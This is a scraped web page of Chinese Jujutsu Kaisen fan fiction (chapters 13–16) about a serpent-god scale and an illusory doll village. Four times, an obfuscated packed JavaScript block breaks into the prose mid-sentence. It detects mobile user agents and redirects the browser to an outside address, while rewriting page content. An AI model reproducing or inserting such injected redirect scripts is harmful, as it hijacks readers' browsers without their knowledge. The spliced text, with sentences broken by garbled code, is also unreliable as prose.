桥洞下方几近干涸的水流在微风的吹拂下晃动出些许的波纹,帐内的林地却安静得过分,带着一种纯净到令人不安的静谧。时雨沉吟片刻,开口:“过桥吧。” “里见小姐——”伏黑惠叫住时雨,欲言又止,最后还是别扭地开口,“我们不需要等到五条先生他们过来吗?” 自从五条悟成为他的监护人之后,一直被作为咒术师预备役培养的伏黑惠深知“过河以抵达彼岸”的意象在咒术界时常拥有着特殊的意义。 “没有人员伤亡,没有咒灵出没,没有窗口目击。”时雨收回摸着玉犬脑袋的手,直起身,“按照一般咒物出没的上报流程和目前夏季咒灵高发的繁忙程度,派窗口前来探查应该至少是一周之后的事情,等到总监部核查完毕任务等级,派出相应级别的咒术师前来处理,恐怕已经至少是大半个月之后的事情了。这里的学生能等吗?” 时雨立于桥头,视线扫过整片空地,“吞噬咒灵是第一步,所谓的净化也是咒物在通过吸收本体以外的咒灵以增强自己的咒力。但或许是这里低级咒灵的数量已经不能满足‘它’了,所以它才开始通过幻觉诱导学生。我们没有办法预料,在一个月之后,这个咒物会进化成什么模样,正如同我们并不知道它因为什么出现在这里、又因为什么觉醒一样。伏黑同学,你的判断是?” 伏黑眼神沉静下来,“我明白了。那请里见小姐注意安全,如果有任何危险,请您立刻离开到帐外,联络五条先生。但在此之前,我会和玉犬一起维护您的安全。” 时雨眉眼含着浅笑,“那就麻烦伏黑同学了。” 时雨最后回身望了一眼,虽然今天村雨不知道去了哪里并没有跟在她的身边,但—— 她挽起袖口,右手轻点左手手腕,半透明的纹样闪过一道微光,像是回应着时雨的召唤。 玉犬开道,时雨和伏黑惠两人并肩,一同警觉地踏上了古旧的石桥。 在踏过石桥的最后一块石砖时,桥下的流水声忽然清晰了起来,像是穿透了原本隔绝着他们的那道迷蒙屏障。在低头的时候,桥下的流水已然不复刚才干涸的模样,变得湍急了起来。 玉犬朝着桥下前后吠了几声。 “小心。”时雨提醒着,率先踏上了下桥的石阶。 伏黑惠微妙地看着时雨的背影,对于辅助监督一马当先走在最前方的行为,有些意料之外的错愕。快走几步,他跟上了时雨的步伐。 脚步落到浅滩的泥上,伏黑惠感受着脚底湿软的触感,神色更为凝重了几分,“虽然并不是自夸咒力水平,但如果是我们这样的咒术师都感觉不出异常的真实幻境——那是什么样的咒物 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290098|198490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才能做到这样的程度?” 又是为了什么,才会开始引诱人类前来发现它? 真的仅仅是因为低级咒灵已经无法满足它的咒力需求,所以引诱人类前来吞噬?还是什么其他的理由? 时雨没有回答。 白色的玉犬总是相对活泼好动的那个,在桥下来回嗅闻着,忽然停在一处蹲坐下来,抬头朝着两人吠了一声。 黑色的玉犬紧跟其后,更加警觉地在周围打着转,耳朵竖起,低低地发出一声呜咽。 “找到了。” 两人朝着玉犬所在的地方走去,在两步之外停下了脚步。 那是一座小小的神龛,青苔已经遍布其身,枯荣了几轮,也不知已在这座桥下接受了多少年的供奉。 神龛的正中,并不是什么常见的塑像,而是一个巴掌大的石制的盒子。盖子不知经历了多少风吹雨淋,时光在上刻画出细密的裂痕,终究在哪场风雨下被斜斜吹开,半露出盒子内接受着供奉的东西。 “那是……”伏黑惠眯着深绿色的眼眸,细细打量着,“一枚鳞片?” 心脏跳动的声音忽然变得鼓噪了起来。 一下,又一下。 清晰地搏动着。 时雨靠近了一步,蹲下身,从口袋里取出一个信封大小的封印袋,半卷握在手中,向旁侧推开了石头盒子的盖子,随即用封印袋轻轻拨弄着那枚鳞片。 莹白如玉,边缘薄得近乎透明。表面是隐约流动的纹路,在斜斜映入桥洞的日光下反射出几分彩色的光泽。 冥冥之中,似是在召唤着些什么。 两只玉犬呜咽着后退了几步,前腿降低,神态挣扎在敬畏和警觉之间,哪怕是作为伏黑惠的呵斥,也没有令他们再向前半步。 时雨的灵识仿佛浮在半空之中。她清晰地知道在什么地方、面对着拥有着精神系能力的咒物,也只知道自己接下来的举动或许会有着什么样的危险,但—— 她仍旧遵从了仿佛来自于血脉的直觉。 没有拿着封印袋的那只手伸了出去,在伏黑惠短促的“小心”声中,指尖抵上了那枚鳞片。 伏黑惠的声音好像忽然远去,仿佛隔了几道河岸。 五月的夏景在瞬间剥落,时雨仿佛置身于某座深山之中,环绕其间的是漫山遍野的樱花。 忽然吹来一阵疾风,樱花树像是用生命下了一场粉红色的雨。樱雨落满山头,覆盖了所有的地面,随即是漫山遍野的凋零。樱花的淡香被湿润的泥土气息掩埋,没有花瓣的枝头再也挡不住腐朽而中空的樱花树干,像是一场透支了樱花树生命力而编织的盛大美梦,在潦草中谢幕。 只有一株樱花树例外。 那株位于鲜红色鸟居前的樱花树下,有一道穿着和服的影子,缓缓转向了时雨的方向。 女人有着纯净的白色长发,恍若血液一般红色的眼睛——或者倒不如说是无色的眼睛,只是映照出了血液的颜色。 她发出漫长而空灵的叹息,像是穿透了时光和岁月,从极遥远的某处传来,乘着被风送来的樱花瓣,带到了时雨的耳畔。 14. 第 14 章 白发,红瞳,鳞片。 时雨迟钝了些许的思维还未意识到这代表着什么,穿着和服的女人便望了过来。 不过是淡淡的一暼,仿佛重若千钧的意志便带着神性的俯瞰一同倾轧了过来。 时雨好像也不过只是万千樱花瓣中小小的一片,本该如同剩下的花瓣一样,在短暂的飞扬后落入尘土,重新化作土地的养分。 时雨周身的咒力克制不住地开始流动起来,左耳的银饰发出了一声极轻的鸣响,手腕忽如其来的灼热召回了时雨脑海的清明。 她的瞳孔骤然缩紧,琥珀色的眼眸倒映着那道白发红瞳的影子,嘴唇倔强地抿起。 左手腕横于身前,时雨主动呼喊出了契约另一端的名字:“八房!” 腕间繁复的咒文骤然亮起,金色盈满原本半透明的纹样。 下一刻,巨大的白色兽影在时雨身后浮现。 通身雪白的皮毛,紫罗兰色的眼睛,低声发出的吼叫恍若有地震山摇的功效。 两条古老的河流在交汇处冲刷着彼此,遥遥相对的古老星辰感知到了彼此的存在。属于同一维度的两道威压彼此冲撞,扬起一片樱花雨。 白发红瞳的身影凝视着时雨身后若隐若现的巨大轮廓,眼神从虚无中清明了几分,唇角漾起了清浅的笑容,空灵的声音回响:“好久不见啊,八房。” “没想到,最先遇到的会是里见家的孩子。”那红色眼眸中的冰冷消融了些许,在时雨铂金色的头发和面容上停留了片刻,“那么,里见之子,来寻找吾吧。” 满地的落樱被骤然吹来的风重新扬起,漫天蔽日,挡住了时雨所有的视线。 风声与花雨中,时雨听到了若隐若现的几句呢喃。 “四兽神将重临于世。” “何为因,何为果?” 绚烂的樱雨从视野的边缘开始消散,如同晨间见到阳光的霜雾,一点点消退了踪迹。 八房在半空中低头看了眼时雨,俯身轻轻蹭了下时雨的脑袋,随即身形又消失在了空中。 “里见小姐……里见小姐!”耳畔是伏黑惠焦急而真切的呼喊。 时雨睁开眼。 夏日的阳光,干涸的水沟,废弃的石桥。 伏黑惠蹲在她的身边,眉头紧蹙,神色混杂着惊疑不定的紧绷。一黑一白两只玉犬蹲坐在他的身后,朝着八房消失的方向吠了几声,伴着极通人性的敬畏之情。 时雨低头看向那个在神龛中接受供奉的石头盒子,里面依旧静静地躺着一片白色的鳞片。 只是那枚鳞片已经不复刚才的光泽靓丽,黯淡了些许,像是敛回了所有的光芒,像是一枚普通的玉制贝壳一般。 时雨指尖冰凉,额头渗出细密的汗珠,呼吸也带了几分急促。 “您没事吧?”伏黑惠关切地看着她。 时雨稳了稳身体,缓缓摇头安抚着伏黑惠,“我没事。伏黑同学,你刚才……有看到什么?” 伏黑惠松下一口气,又神色复杂地回忆着,“我好像……看到了很大一片樱花,还有……一只巨大的野兽的影子。” 他犹豫了片刻,咽回了最后半句。 那只野兽……好像是从里见时雨的身体里放出来的。 时雨将那枚失去光泽的鳞片放进了封印袋,一边静静地思索着。 只是一枚刚刚苏醒不久的鳞片,所以方才看起来只是将她一人拉进了那个短暂的幻境里,伏黑惠只是凭借着优秀的咒力天赋和敏锐的洞察捕捉到了些许残影。 而八房的出现让那个小幻境承受了超出它范围的咒力,所以又很快崩塌。 伏黑惠小心地借力给时雨,虚扶着她的胳膊起身,又在时雨站稳后很快收回了手。 时雨看着他好像含着很多问题没有问出口的模样,感慨着这孩子的贴心程度真是和监护人形成了鲜明的对比。 伏黑惠沉默良久,最后选择了最可以直接问出口的问题,“里见小姐知道这是什么东西吗?” “我还不确定。但……”时雨顿了顿,“这个东西,恐怕并不是一般的咒物,可能会涉及到一些很久以前的事情,我也还有很多疑惑需要解答。所以如果可以的话,伏黑同学,我需要请你帮我暂时保密。” “五条先生也不能说吗?” “五条先生已经知道。”时雨挥了挥手机,露出设下帐前给五条悟发的短信,“我晚点会和他解释细节的。” 那就是对咒术总监部先进行保密了。伏黑惠若有所思地点头。 但既然是五条悟能够派来处理他的事务的辅助监督,一定是像伊地知先生一样受到他信任的存在。 那么—— “我明白了。但我也会和五条先生同步我所看到的。” “多谢了,伏黑同学。”时雨没有对伏黑惠的谨慎给出任何的评判。 帐在时雨解除结印的瞬间无声散去,两人站在桥头回望刚才所在的地方,又已经恢复成了干涸的河床,不复方才湿润模样。再看桥下的水源,干涸的水流混杂着泥土,有气无力地晃动着,刚才的湍急水流也已经不见了踪影。 时雨驾车送伏黑惠回到他在琦玉所住的公寓楼下的时候,太阳已经完全偏西。整个天空被晕染成了玫瑰金色,将楼房的影子拉得细长。 “今天……”临下车前,伏黑惠看着驾驶座的时雨,认真地躬身,“辛苦您了。” 时雨抬眼,迎上那道目光。 少年的眼眸里有着比实际年龄更成熟的坚定,好像并不太习惯有其他人来帮他处理善后自己惹下的麻烦。 时雨迎着夕阳,抬起嘴角,“不用客气,伏黑同学。如果后续还有什么需要帮忙的地方,也可以随时联络我。” 时雨望着伏黑惠消失在门厅里的背影,朝那个方向多看了片刻,才重新把注意力放到方向盘上,发动车辆重新开回东京的方向。 五条悟收养着的孩子,又背负着怎样的东西呢? 回到自己在东京的宅邸时,天色已经变成了靛青色,只在天际线的边缘还露出些许微光。时雨简单地给尾崎瑛打了个电话,又将封印袋中的鳞片拍了张照片发给了自己的父亲里见莉芳。 然后才点开了五条悟的聊天框,看到他十几分钟前仍在兴致冲冲地给她发了热海的烟火照片,犹豫了片刻,她将同样的鳞片照片同样传给了五条悟。 「时雨:咒物已回收,暂时在我身边保存。具有净化和创造幻境属性的特殊咒物,我想查探清楚后再上报。」 扔下手机,时雨有些疲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290099|198490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 惫地揉了揉眼睛,转道回房间拿了两件衣服便进了浴室,试图用热水冲刷走这一天的疲惫。 早上陪着七海的任务,结束后现场的复核,下午前往琦玉处理伏黑惠遇到的事件,后山的鳞片,幻境中白发红瞳的女人…… 她试图在水流中回顾今天发生的事情,总觉得仍有些古怪。 那枚鳞片是什么时候出现在浦见东中学的? 按那个存放鳞片的石盒的痕迹来看,应该已经存在于那里很久了。 那又为什么忽然会在最近醒来?最近发生了什么呢? 还有那个幻境中的女人,和她最后呢喃的话语。 她会是自己想象中的人吗…… 在重重的疑惑中关掉水流,时雨随意地擦了擦水,换上了一套家居的休闲服饰。头发只是潦草地吹了半干,时雨便回到了客厅。手机屏幕在流理台上忽明忽暗,显示着新收到的几条信息。 「尾崎瑛:狐狸们告诉我,四兽神间会有互相的感应。除了犬神以外,他们最近确实感受到了其它熟悉气息的增强,只是没有办法确认具体的位置。」 「里见莉芳:我已经和八房确认过,这枚鳞片应该属于響——百年前受到观月家供奉的四兽神之一,蛇神。」 「五条悟:你在哪里?」 五条悟的消息跟在前两人之后,多少显得有些没头没尾的跳脱。 时雨不解地眨眨眼睛,下一秒屏幕再度闪烁,「五条悟」的名字跃然其上,手指先于思考已经按下了接听键。 “五条先生?” 对面的声音是刻意的冷酷:“不及时回上司消息,扣分!” 时雨的脑袋被热水和热风蒸腾地慢了半拍,慢吞吞地回应着:“——只是下班后半小时没有看手机而已。请不要成为这种下一秒就可以被挂到论坛上审判的职场霸凌上司,五条先生。” 对面立刻转换了语气开始倒打一耙:“诶——超过分诶,居然要网络霸凌我吗时雨?” 时雨:“……不然就让加班文化头号黑粉七海先生来审判您吧。” 对面结束了短暂的耍宝,接上了短讯里的提问,“所以时雨在哪里,没有回高专?” 抓了抓刚吹得半干的头发,时雨夹着手机走到冰箱前,取了一瓶前两天刚补货的苏打水,单手打开了拉环,“刚回收的咒物咒力未经登记,到了高专会触发警报,所以回了在东京的私宅。” “千代田区的住宅?” 时雨温吞地灌下一口苏打水,任由冰爽的水流顺着喉管降温,“……对。” 时雨还没来得及问出五条悟是怎么知道她在校外的住址的,下一刻,客厅后院的落地窗外,泛起一阵细微的空间扭曲,像是有什么穿透了她设置在后院的结界。 时雨抬起头,看向后院的方向。 后院的小花园里,一个高挑的白发男人正站在她那丛开得正好的紫色绣球花前,月光落在他的头发上,将一头白发染上了淡淡的银灰,顺着夜风轻轻浮动。 男人手里拿着还未挂断电话的手机,海蓝色的眼睛笑盈盈地看着她,同样的风声顺着通话中的手机二重奏一般回响在时雨的耳畔。 时雨怔愣地看着他,对上了六眼的视线,“五条先生,私闯民宅是犯法的。” 15. 第 15 章 “通过伊地知查阅的辅助监督紧急联络住址嘛。”五条悟晃了晃手机,笑得理直气壮。 时雨盯着落地窗外那个站在绣球花前的男人,撇了撇嘴,“这并不能解释您为什么不打一声招呼就出现在我的后院。” 没有等对方回应,时雨就点击了结束通话,揍了两步拉开了后院的玻璃门,任由夜风灌入客厅。 不知是否是为了利用六眼实现更精准的移动,五条悟惯用的绷带露出一角,被潦草地塞在了口袋里,目光没有一丝遮挡地落在了时雨身上。 身上简单的白色背心外面松垮地披着一件轻薄的衬衫,在身前随意地打了个结。下身是宽松的灰色休闲短裤,露出修长笔直的双腿,白皙得几乎能反射月光。 头发半干地披散在肩上,素净的脸上没有一丝妆容的修饰,琥珀色的眼睛在客厅昏黄的灯光下显得格外柔和。 五条悟在落地窗外停顿了片刻,然后才走到了时雨的身侧,看着时雨有些挫败的侧脸,“抱歉,因为惠刚和我提起了你们下午遇到的咒物,听上去很有意思,所以想来亲自看看嘛。” “不是因为这个……”时雨皱了皱鼻子,带了几分气鼓鼓地看向自己的院子,“我明明设了结界的……” 五条悟低下头,鼻尖几乎能够嗅闻到女生身上的潮气,语气却是一点都听不出异样,“很贪心诶小朋友,我是最强的嘛。” 一般的家用结界,哪里能够轻易拦住最强咒术师。 “不过还是有费了一点点功夫的哦。”五条悟伸出修长的手指,比了一个一点点的手势,满意地看到了时雨的死鱼眼。 时雨侧身让五条悟进去,一边不满地嘟囔着,“下次我一定会改良结界的……” “我会好好期待的。”五条悟耸耸肩,从背后掏出了一个纸袋,塞进了时雨的怀里,随即像走进自己家一样随意地穿过了后院的门。 “这是什么?”时雨不解。 “回礼哦。上次不是吃了尾崎那家伙给你的松饼嘛。”五条悟已经站在了时雨的冰箱前,继不请自来之后,又旁若无人地拉开冰箱门朝里张望着,“除了苏打水……还是苏打水!时雨你的冰箱真的比伊地知的脸还要干净诶!” 时雨正拿出纸袋中的热海布丁和奶油红豆面包,闻言忍不住翻了翻眼睛,“……伊地知先生一定在疯狂打喷嚏。” ——没有分寸感的成年人真可怕。 “不要以为在背后我就看不见了哦。”五条悟非常退而求其次地拎了一瓶气泡水,清脆地拉开拉环猛灌了两口,有些嫌弃地瞥了瞥手里的瓶子,“都说了时雨眼睛很大啦,翻白眼真的超明显诶。” “六眼不是给您这么用的。”时雨侧身绕过他,从柜子里取出一个玻璃杯,连带着一瓶昨天新买的蜂蜜柠檬酱,一并推到五条悟的面前。 于是五条悟很是顺手地将苏打水倒入杯子里,加了一大勺蜂蜜柠檬,尝了一口。 然后又是一勺。 再一勺。 时雨看得牙酸,忍不住开口:“您真的不会蛀牙吗?” “反转术式二十四小时输送新鲜牙齿中——”五条悟笑嘻嘻地晃了晃手里的杯子,心满意足地喝了一大口,像是吃到小鱼干的猫咪一样眯起了眼睛。嘴唇沾到了一点蜂蜜,在灯光下显得格外莹润。 时雨强行挪开眼,暗自谴责自己奇怪的注意力。 五条悟喝完半杯气泡水,五条悟靠在厨房台面上,语气轻描淡写:“惠和我说了学校后山的事。看起来,你们今天有些意外的收获?” 时雨认真下神色,从旁边的架子上取回下午的封印袋,从里面取出了下午的鳞片。 五条悟伸出手捏起鳞片,六眼专注地凝视着这枚似乎已经失去了色泽的鳞片。 半晌,他勾起唇角,苍蓝色的眼眸在咒力的运转下格外明亮,“真是有趣。” 时雨等了几秒,忍不住询问:“六眼看到了什么?” “很古老的咒力,而且……”他的目光转而投到时雨时常遮掩着的左腕上,“有点眼熟。” 时雨下意识想要将手缩到身后。和八房的契约是她在教会和咒术界面前决定了要暂时隐藏以避免更多后续麻烦的存在。但想到对面站着的的人是谁,于是她最终还是坦然地伸出了自己的左腕,递到了五条悟的面前。 接近透明的咒文安安静静地躺在左腕白皙的皮肤上,接受着六眼的打量。 不知道这一幕哪里戳中了五条悟的笑点,他笑着刮了刮自己的鼻子,接着回应,“确实,鳞片上残留的咒力和时雨你手腕上链接的咒力虽然并不相通,却有着相似的气息,像是同源。” 五条悟放下鳞片,又补道:“这么说来,和那次一起去咒术总监部的时候,尾崎瑛身边的咒力很像。所以——” 苍蓝色的眼眸垂落,浓密的睫毛在他眼下打出一层阴影,让他的神色忽然晦涩不清了些许,“暂时不上报这枚鳞片的消息给咒术总监部,是出于私心吗,这位‘里见后裔’小姐?” 一阵夜风忽起,后院的树叶顺着风声窸窣作响。 八房的存在也好,蛇神的鳞片也罢,她早就知道在五条悟眼中是无所遁形的。 从第一次看到时雨使用咒力开始,至今没有点破八房的存在,已经是五条悟对她的纵容。她一直觉得五条悟哪怕没有那双传闻中的六眼,也能够轻易看穿很多事情。只是点破一切的生活过于无聊,所以他时常在一些边缘试探,想看看有没有什么有趣的化学反应会发生。 像是猫咪一动不动地在地上盯着空中晃动的诱饵时一样,看似轻描淡写一动不动,实则早已寻找到轨迹蓄势待发。 时雨沉默两秒,抬起眼,毫无避让地迎上了五条悟的目光,“是我的私心。” 她爽快地点头承认,“咒术总监部也好,教会长老院也罢,我都不想现在就暴露蛇神鳞片的存在——反正五条先生也已经看出来了。就像五条家虽然是咒术界御三家之一,五条先生您的立场却并不代表咒术界的立场一样,四兽神家的立场也同样不代表着教会长老院那边的立场。” “我还不知道蛇神的鳞片为什么成为了咒物,又为什么会在近期苏醒,蛇神此刻又在哪里。但我是里见家的人,我不想作为四兽神之一的蛇神,在此刻沦为各方博弈的工具,所以——” “五条先生可以成为我的共犯吗?” 五条悟敛着笑容垂眸看人的时候,时常会给人一种居高临下的俯视感,仿佛神明投来淡淡的一暼,令很多咒术界的人意识到这人确实是被称作“神子”的存在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17290100|198490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他看着时雨半晌,忽然眼尾微弯,愉悦的弧度柔和了六眼的疏离与锐利,于是眼眸里像是盛满晴空万里下的玻璃果冻海,泛起悠闲的海浪。他大咧咧地手心朝上,朝时雨摊着一只手,“听着很有意思嘛——那时雨打算怎么贿赂我?” 比起陈述自己或是四兽神家或许可以带来的利益,在那片苍蓝之海的注视下,时雨拿起一枚五条悟从热海带回的特色布丁,郑重地塞进了五条悟的手心里,“定金。” 五条悟握着那个他亲手在热海挑选的布丁,似乎没想到时雨会用这种方式“贿赂”他。早前居高临下的俯视感早就不知道垮塌到了何方,取而代之的是愉悦满溢的纵容。他低声笑了起来,胸腔的震动在静谧的厨房里都清晰可闻。 “超敷衍的定金诶,哪有人用别人送出去的礼物反回去贿赂人的啦。”五条悟口上抱怨着,手上撕开布丁重重挖了一勺往自己嘴里送的动作却也行云流水,“尾款一定要诚意加倍啊小朋友——哇,焦糖口味的果然好吃,不愧是超绝品味的五条严选!” “说起来,”五条悟三两口解决了那个焦糖布丁,忽然又想起了什么,“时雨是什么时候开始知道这枚鳞片和四兽神相关的?” 时雨捋了捋自己的头发,回忆着:“一开始并不知道,只觉得咒力有点熟悉。在幻境里才隐约发现了点端倪……” “哦?所以时雨伸手直接碰那枚鳞片一样的咒物的时候,并不知道那是什么东西,会不会对你网开一面?”五条悟的语气依旧轻飘飘的,却忽然让时雨后背一紧。 “呃,我……” “惠和我提起的时候,我还以为时雨不知道什么时候连无下限都已经学会了诶——不知道是什么的东西都敢随便乱摸。”五条悟挑眉,“明明平时总是一脸稳重假装大人的样子,这不是也超会乱来的嘛。” 时雨瘪嘴,“……请不要阴阳怪气,五条先生。” 她又有些不太服气地申诉:“平时任务里,您不也是这么乱来的吗?而且明明是您说我可以更加疯狂一点的。” 五条悟满腔的训诫被完美堵在了喉咙里,忽然体会到了些许夜蛾大叔高中作为他班主任的心梗。他仰头灌下最后一口甜腻的蜂蜜柠檬苏打水,最后没好气地屈起手指,指节重重地叩了一下时雨的额头。 “唔——”时雨捂着额头,眼睛睁大看着他。 五条悟的手机忽然震动了几下。 “痛就记住下次就别看到什么都敢随意伸手啊!真要被不听话的下属气死了诶——上次让你疯狂一点还和我闹了那么久脾气,这次就又学会拿这来反驳我了啊?” 他没好气地睨了一眼时雨,低头从口袋里掏出绷带,重新遮住了那双波光潋滟的眼睛,声音恢复了平时的散漫,“既然是蛇的鳞片,应该也不会只有一枚这么光秃秃吧。这枚鳞片上的咒力流动,看上去和其它几个地方有着隐约的共鸣。” “好啦,既然想要拉我当‘共犯’,那后续相关的任务报告,都要自觉第一时间和我同步哦。”他在手机上点了几下,随即翻转屏幕,递到了时雨面前,“不过下一个可能出现的地方,伊地知已经帮你找到了——” 五条悟的手机屏幕上,正赫然显示着: 「栃木县人偶村失魂事件。」 16.第 16 章 她睁眼的时候,只望见有些破败的木质天花板,不均匀的霉斑在木纹边缘晕开。 她撑起有些虚弱的身子,缓缓站起,盯着身上层层叠叠的衣服片刻,抹平了身上浅色和服的褶皱,有些茫然地望了眼窗外。 现在是什么时间了?她在哪里?她……又是谁? 她虚弱地咳喘了两声,跌撞着站到了镜子面前。镜中的自己面色苍白得近乎透明,竟觉得有些陌生。 想起来了,她叫犬村雏衣,与作为人偶师的哥哥犬村大角相依为命。 她推开窗,隐约回忆起此刻正值秋日秋日。窗外却不见萧瑟,而是被成片的樱花林环绕。人们常说樱花没有什么太浓郁的香味,而当着漫山遍野的樱花同时开放的时候,她还是清晰的嗅闻到清甜的芬芳。 饱满盛开的樱花几乎压弯了枝丫,花瓣从树上簌簌落下,仿佛一场樱花雪,间或从窗户间飘进屋内,落在那有些陈旧的塌塌米上。 远处的樱花林中,隐约传来儿童的歌谣,空灵的声音中偶尔伴着一声清脆的铃响。 「一 二三四 眺望四下美景处处春意盎然 黄莺隐于梅间吱喳啼啭声不绝」 门口传来叩门的声响。 她推开房间的门,路过哥哥犬村大角开着门的人偶工作室,又小心地打开一条门缝,警惕地问询着:“谁?” “你好,我们是帝都来的,受教会费涅根大人的遣派,来取他订做的人偶。” 门外传来的少年声线礼貌而紧绷,带着一股莫名的耳熟,却没什么令人不安的苍老声线。 她这才放心下来,紧绷的肩膀松懈了几分,取下了沉重的门闩,推开了大门。 门外,一阵风忽而吹过,樱花如雨落下。樱花雨中,高挑的男人戴着墨镜,身着有些古旧的洋服,夺目的白发在风中轻舞。而身侧,一个海胆头的少年正被他像是拴住不省事的小孩一般牵着手。 双方礼貌地颔首,不约而同地开口:“我是……” 声音戛然而止。 等等。 她是谁? 她的目光从少年的海胆头扫到身材高挑的白发男人身上,对方也在忽然僵直的动作中透露出几分疑惑,墨镜后隐约露出一抹蓝色,恰好撞进她的眼眸。 我是—— 他是—— 男人没有犹豫地给了自己一巴掌,门内的少女也反应过来什么,重重咬了一口自己的舌尖,任由腥甜的血气在口中弥散。 像是虚空中临空泛出一道裂纹,撞碎了一些不该有的幻觉。 片刻后,海胆头少年茫然的眼神也逐渐清明,三人相顾无言了片刻。 清醒过来的伏黑惠低头,看见自己像是乖巧的孩子般握着五条悟的手,脸色一秒变绿,见了鬼一样甩开了他的手,一脸嫌弃地往旁边揍了三步拉开距离。 他深吸了一口气,仿佛在平复着什么心理阴影,这才朝着门内的少女开口:“里见小姐?” 时雨嘶了一口气,舌尖的血腥味略微散去。她有些虚弱地看着门口的两人,“先进来吧。在这个环境里,现在的我,应该叫犬村雏衣才对。” 于是三人围坐在了茶室的榻榻米上。 五条悟大咧咧地盘腿坐着,目光肆无忌惮地扫过这间破旧却整洁的屋子,审视着房屋两侧柜子里陈列着的形形色色的人偶,墙上隶属近日的台历,最后目光才玩味地落在了身着浅绿色和服的少女身上。 “还真是不错的剧本。”他举起桌上的茶杯,嗅闻着里面的茶水,随后百无禁忌地往嘴里一灌,“连饮食都和现实一样……这个幻境远远超出了你们在惠的学校是遇到的幻境碎片,看起来倒更像是一个大型的生得领域。” “进入幻境前,我们应该是在栃木县人偶村。”伏黑惠皱着眉望向窗外,“从地形来说,我们还在人偶村,只是被拉进了一个以人偶村为背景的幻境?” 不过前两日,时雨刚从伏黑惠的学校里回收了一枚具有幻觉系咒力的咒物,鉴定为四兽神之一蛇神的鳞片,随即在伊地知的信息搜集下,关注到了栃木县人偶村近来时常有村民失魂情况,判断可能也是收到了幻觉系的咒灵或是咒物的影响。 于是时雨作为辅助监督,带着五条悟和作为见习咒术师的伏黑惠一起来到了这个村庄。 那些所谓失魂的村民,看起来都是在上山后,忽然陷入了沉睡,像是灵魂被拉入了另一个世界一般。于是三人顺着线索上山,却在步入一片看上去枯萎腐朽已久的樱花林时,忽而像是达成了束缚的某个条件,乍然也被拉进了这个幻境。 再睁眼,时雨便已然是方才在木屋中的犬村雏衣的模样了,而五条悟和伏黑惠,则是远道而来拜访的来客。 伏黑惠冷静地分析着,“所以每个进入幻境的人,都会自动遵循领域的规则,扮演这个幻境中的一个虚构的角色?如果作为咒术师的我们都需要一定的刺激才能够清醒过来,那被卷入的非术师恐怕连从自己的设定中清醒过来都难以做到,就更不用提思考如何离开幻境了。” 时雨认可地点头,“这就对应了窗口汇报的‘失魂’现象——这些所谓的失魂村民,恐怕都是意外达成了束缚的条件,然后同样被拉进了这个作为大型生得领域的幻境。但这个幻境……又是为了什么而存在呢?” 五条悟漫不经心地听着伏黑惠和时雨一来一回的分析,坐在榻榻米上晃动着自己的长腿,此刻恰当地出言提醒,“真的是一个普通的‘幻境’中‘虚构的角色’吗?” 伏黑惠和时雨同时一怔。 时雨反应过来,走到墙边,拿起了柜子上的报纸,“是差不多百年之前的报纸,细节也很充足。”她又扫过柜子上的人偶,“窗口的资料里提过,人偶村之所以叫作人偶村,是因为大约百年前,这里曾出过一位极为出色的人偶师。据传说,那位人偶师创作的人偶极为精美,真人大小的人形净琉璃更是栩栩如生。没记错的话,那位人偶师的名字,应该是犬村仪清。” 伏黑惠隐约有所察觉:“所以……这里并非是凭空捏造的幻境,而只是复现了百年前的人偶村?诅咒往往是由人类的负面情绪所产生,而咒物只是起到了放大诅咒的效果。强行回溯这个百年前的时刻,甚至不惜通过拉入无辜之人的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17291492|198490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 灵魂作为幻境的咒力补充,目的是什么?” 明明被拉入了一个咒物营造的生得领域,五条悟却悠闲自在地仿佛正躺在高专里一样,“虽然不知道目的,但要离开幻境的话很简单哦,只要用足够大的咒力破坏掉幻境的咒力平衡就可以成功出去。只是那样的话,原本被卷入的普通人类恐怕会因此受到影响,没办法正常醒过来。” 